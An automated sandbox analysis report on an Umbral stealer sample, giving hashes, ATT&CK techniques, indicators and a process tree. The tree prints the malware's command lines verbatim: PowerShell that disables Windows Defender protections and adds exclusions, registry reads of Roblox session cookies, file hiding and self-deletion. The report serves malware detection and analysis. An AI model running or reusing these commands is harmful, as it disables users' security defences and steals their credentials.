umbral | ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074

Analysis

max time kernel
94s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
25-09-2024 03:27

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General

Target

ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe
Size

229KB
MD5

7722bd38c1dc5357e24a8e33241b7609
SHA1

b4001c1953b0cb3e7acf2d6009342390f5e42724
SHA256

ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074
SHA512

215829e0897f1027944421cc2a2ed1122ab3fd8f1dea84631e7d22b27d9a7e61c0316f62762bfa90feb0dabec1e5389bb1b0b8bcc80b58b34cd910b2b52e5e86
SSDEEP

6144:lloZMQfsXtioRkts/cnnK6cMldA1GgGhZqZfiQBFUbGb8e1mji:noZItlRk83MldA1GgGhZqZfiQBFUup

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/4280-1-0x0000024A1D740000-0x0000024A1D780000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1104	powershell.exe
3736	powershell.exe
2380	powershell.exe
412	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3296	cmd.exe
3384	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1596	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3384	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1104	powershell.exe
1104	powershell.exe
3736	powershell.exe
3736	powershell.exe
2380	powershell.exe
2380	powershell.exe
3552	powershell.exe
3552	powershell.exe
412	powershell.exe
412	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe
Token: SeDebugPrivilege	1104	powershell.exe
Token: SeDebugPrivilege	3736	powershell.exe
Token: SeDebugPrivilege	2380	powershell.exe
Token: SeDebugPrivilege	3552	powershell.exe
Token: SeIncreaseQuotaPrivilege	4760	wmic.exe
Token: SeSecurityPrivilege	4760	wmic.exe
Token: SeTakeOwnershipPrivilege	4760	wmic.exe
Token: SeLoadDriverPrivilege	4760	wmic.exe
Token: SeSystemProfilePrivilege	4760	wmic.exe
Token: SeSystemtimePrivilege	4760	wmic.exe
Token: SeProfSingleProcessPrivilege	4760	wmic.exe
Token: SeIncBasePriorityPrivilege	4760	wmic.exe
Token: SeCreatePagefilePrivilege	4760	wmic.exe
Token: SeBackupPrivilege	4760	wmic.exe
Token: SeRestorePrivilege	4760	wmic.exe
Token: SeShutdownPrivilege	4760	wmic.exe
Token: SeDebugPrivilege	4760	wmic.exe
Token: SeSystemEnvironmentPrivilege	4760	wmic.exe
Token: SeRemoteShutdownPrivilege	4760	wmic.exe
Token: SeUndockPrivilege	4760	wmic.exe
Token: SeManageVolumePrivilege	4760	wmic.exe
Token: 33	4760	wmic.exe
Token: 34	4760	wmic.exe
Token: 35	4760	wmic.exe
Token: 36	4760	wmic.exe
Token: SeIncreaseQuotaPrivilege	4760	wmic.exe
Token: SeSecurityPrivilege	4760	wmic.exe
Token: SeTakeOwnershipPrivilege	4760	wmic.exe
Token: SeLoadDriverPrivilege	4760	wmic.exe
Token: SeSystemProfilePrivilege	4760	wmic.exe
Token: SeSystemtimePrivilege	4760	wmic.exe
Token: SeProfSingleProcessPrivilege	4760	wmic.exe
Token: SeIncBasePriorityPrivilege	4760	wmic.exe
Token: SeCreatePagefilePrivilege	4760	wmic.exe
Token: SeBackupPrivilege	4760	wmic.exe
Token: SeRestorePrivilege	4760	wmic.exe
Token: SeShutdownPrivilege	4760	wmic.exe
Token: SeDebugPrivilege	4760	wmic.exe
Token: SeSystemEnvironmentPrivilege	4760	wmic.exe
Token: SeRemoteShutdownPrivilege	4760	wmic.exe
Token: SeUndockPrivilege	4760	wmic.exe
Token: SeManageVolumePrivilege	4760	wmic.exe
Token: 33	4760	wmic.exe
Token: 34	4760	wmic.exe
Token: 35	4760	wmic.exe
Token: 36	4760	wmic.exe
Token: SeIncreaseQuotaPrivilege	4812	wmic.exe
Token: SeSecurityPrivilege	4812	wmic.exe
Token: SeTakeOwnershipPrivilege	4812	wmic.exe
Token: SeLoadDriverPrivilege	4812	wmic.exe
Token: SeSystemProfilePrivilege	4812	wmic.exe
Token: SeSystemtimePrivilege	4812	wmic.exe
Token: SeProfSingleProcessPrivilege	4812	wmic.exe
Token: SeIncBasePriorityPrivilege	4812	wmic.exe
Token: SeCreatePagefilePrivilege	4812	wmic.exe
Token: SeBackupPrivilege	4812	wmic.exe
Token: SeRestorePrivilege	4812	wmic.exe
Token: SeShutdownPrivilege	4812	wmic.exe
Token: SeDebugPrivilege	4812	wmic.exe
Token: SeSystemEnvironmentPrivilege	4812	wmic.exe
Token: SeRemoteShutdownPrivilege	4812	wmic.exe
Token: SeUndockPrivilege	4812	wmic.exe
Token: SeManageVolumePrivilege	4812	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4280 wrote to memory of 2480	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	82
PID 4280 wrote to memory of 2480	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	82
PID 4280 wrote to memory of 1104	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	84
PID 4280 wrote to memory of 1104	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	84
PID 4280 wrote to memory of 3736	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	86
PID 4280 wrote to memory of 3736	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	86
PID 4280 wrote to memory of 2380	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	88
PID 4280 wrote to memory of 2380	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	88
PID 4280 wrote to memory of 3552	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	90
PID 4280 wrote to memory of 3552	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	90
PID 4280 wrote to memory of 4760	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	92
PID 4280 wrote to memory of 4760	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	92
PID 4280 wrote to memory of 4812	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	95
PID 4280 wrote to memory of 4812	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	95
PID 4280 wrote to memory of 3092	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	97
PID 4280 wrote to memory of 3092	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	97
PID 4280 wrote to memory of 412	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	99
PID 4280 wrote to memory of 412	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	99
PID 4280 wrote to memory of 1596	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	101
PID 4280 wrote to memory of 1596	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	101
PID 4280 wrote to memory of 3296	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	103
PID 4280 wrote to memory of 3296	4280	ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe	103
PID 3296 wrote to memory of 3384	3296	cmd.exe	105
PID 3296 wrote to memory of 3384	3296	cmd.exe	105

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2480	attrib.exe

C:\Users\Admin\AppData\Local\Temp\ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe
"C:\Users\Admin\AppData\Local\Temp\ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4280
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe"
  2⤵
  - Views/modifies file attributes
  PID:2480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3552
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4760
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4812
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:412
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1596
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\ef2720e1c481bda488e8c2443102be2c4ef89bd1a8639c95591ecfa658c79074.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3296
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
cadef9abd087803c630df65264a6c81c

SHA1
babbf3636c347c8727c35f3eef2ee643dbcc4bd2

SHA256
cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

SHA512
7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
24ddfe39b6544181ffa6dec82a375e43

SHA1
40a42fece840c1709778e16b2c17288a13841d99

SHA256
97a9d69edc30719705c9e9162b244b012595efcc0d1ecea7d6862b3e4e8f833a

SHA512
b2f486bf594f5a83a5df5cd80158cba0d81b3b2d586667669fde33809b62d7b8889fb7ac2edfee2d26e1659d740b75d60875ab01f1d78e9a09a4742889e5db1b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
288f76eb6350b99897bf8a40a26d7b88

SHA1
7f386d05202de2cf090bbda84d633a640730e090

SHA256
1b9a2714ecfaf4b2e7d7961d5f2537ea360ad0df46a0fa789255235b077075d1

SHA512
ffafc9d47140408afba98a9832433c0829ba696524c56d03f4ce67ae84d369c658d3a0b3cbfc62f8e5d83fc91f8f73fc1dd9a27f0deaefd1d07485a63face869

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mgffpr0b.op3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1104-12-0x00000294FC3A0000-0x00000294FC3C2000-memory.dmp

Filesize
136KB

Download
memory/1104-13-0x00007FFB65F50000-0x00007FFB66A11000-memory.dmp

Filesize
10.8MB

Download
memory/1104-14-0x00007FFB65F50000-0x00007FFB66A11000-memory.dmp

Filesize
10.8MB

Download
memory/1104-15-0x00007FFB65F50000-0x00007FFB66A11000-memory.dmp

Filesize
10.8MB

Download
memory/1104-18-0x00007FFB65F50000-0x00007FFB66A11000-memory.dmp

Filesize
10.8MB

Download
memory/4280-34-0x0000024A37F70000-0x0000024A37FC0000-memory.dmp

Filesize
320KB

Download
memory/4280-33-0x0000024A37EF0000-0x0000024A37F66000-memory.dmp

Filesize
472KB

Download
memory/4280-35-0x0000024A37C00000-0x0000024A37C1E000-memory.dmp

Filesize
120KB

Download
memory/4280-0-0x00007FFB65F53000-0x00007FFB65F55000-memory.dmp

Filesize
8KB

Download
memory/4280-1-0x0000024A1D740000-0x0000024A1D780000-memory.dmp

Filesize
256KB

Download
memory/4280-71-0x0000024A37BC0000-0x0000024A37BCA000-memory.dmp

Filesize
40KB

Download
memory/4280-72-0x0000024A37C20000-0x0000024A37C32000-memory.dmp

Filesize
72KB

Download
memory/4280-2-0x00007FFB65F50000-0x00007FFB66A11000-memory.dmp

Filesize
10.8MB

Download
memory/4280-90-0x00007FFB65F50000-0x00007FFB66A11000-memory.dmp

Filesize
10.8MB

Download